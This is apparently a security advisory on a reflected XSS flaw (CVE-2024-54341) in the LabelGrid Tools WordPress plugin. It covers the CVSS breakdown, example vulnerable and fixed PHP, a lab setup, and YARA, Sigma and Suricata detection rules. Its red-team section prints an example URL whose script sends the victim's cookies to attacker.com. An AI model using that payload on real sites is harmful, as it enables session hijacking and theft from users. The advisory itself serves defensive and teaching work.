CVE-2024-54341

Executive Summary

CVE-2024-54341 is a reflected Cross-Site Scripting (XSS) vulnerability in the LabelGrid Tools WordPress plugin, affecting versions up to and including 1.3.58. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. The CVSS score is 7.1 (High), with a low attack complexity and no privileges required, but user interaction is necessary. No public exploit code or proof-of-concept has been released, and the vendor has not provided a patch.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. Since LabelGrid Tools is distributed via the WordPress plugin repository, any site running version 1.3.58 or earlier is at risk. Administrators should monitor for updates from the vendor and consider removing the plugin if no patch is forthcoming. The lack of a patch increases supply chain risk, as attackers may target unpatched installations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited disruption.

Threat Level: High (7.1). The vulnerability is easy to exploit and can lead to significant client-side attacks, but requires user interaction.

Deep Dive & Mechanics

The vulnerability exists in the label-grid-tools plugin, which likely processes user input via HTTP GET or POST parameters and reflects it in the response without proper sanitization or encoding. For example, a parameter like ?search=<script>alert(1)</script> might be echoed back in the HTML output, allowing script execution.

The root cause is the failure to use WordPress’s built-in escaping functions (e.g., esc_html(), esc_attr()) or to validate input against a whitelist. Since the plugin is unmaintained, no fix is available.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example):

<?php
$search = $_GET['search'];
echo "<div>You searched for: " . $search . "</div>";
?>

Patched Code (recommended):

<?php
$search = isset($_GET['search']) ? esc_html($_GET['search']) : '';
echo "<div>You searched for: " . $search . "</div>";
?>

The patched version uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker crafts a malicious URL containing JavaScript payload and tricks a victim into clicking it. Example:

http://target-site.com/?page=label-grid-tools&search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

1. Install WordPress with LabelGrid Tools <= 1.3.58.
2. Use a local web server (e.g., XAMPP) or a Docker container.
3. Create a simple HTML page that simulates the vulnerable parameter.
4. Use a tool like ngrok to expose the local server for testing.
5. Send the crafted URL to a test browser and observe the XSS trigger.

Blue Team

To detect exploitation attempts:

• Monitor web server logs for unusual query strings containing <script> tags or event handlers.
• Use WAF rules to block reflected XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Detection Example:

grep -E "(<script|<img|onerror|onload)" /var/log/apache2/access.log

Indicators of Compromise (IOCs)

• URL Patterns: ?page=label-grid-tools&search=*<script>*
• HTTP Referer: Suspicious referers from phishing emails or unknown sources.
• Client-side artifacts: Unexpected JavaScript execution in browser console.
• Network traffic: Outbound connections to attacker-controlled domains from the victim’s browser.

Detection Engineering

YARA Rule

rule CVE_2024_54341_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting LabelGrid Tools plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54341"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $param = "label-grid-tools"
    condition:
        any of ($xss*) and $param
}

Sigma Rule

title: Reflected XSS Attempt Against LabelGrid Tools
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the LabelGrid Tools plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "<script"
            - "onerror="
            - "onload="
        cs-uri-query|contains: "label-grid-tools"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54341 Reflected XSS in LabelGrid Tools"; flow:to_server,established; content:"label-grid-tools"; http_uri; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable or remove the LabelGrid Tools plugin until a patch is available.
• Workaround: Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
• Long-term: Replace the plugin with an alternative that is actively maintained.
• User education: Train users not to click suspicious links, especially those containing query parameters.

Valters IT – This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.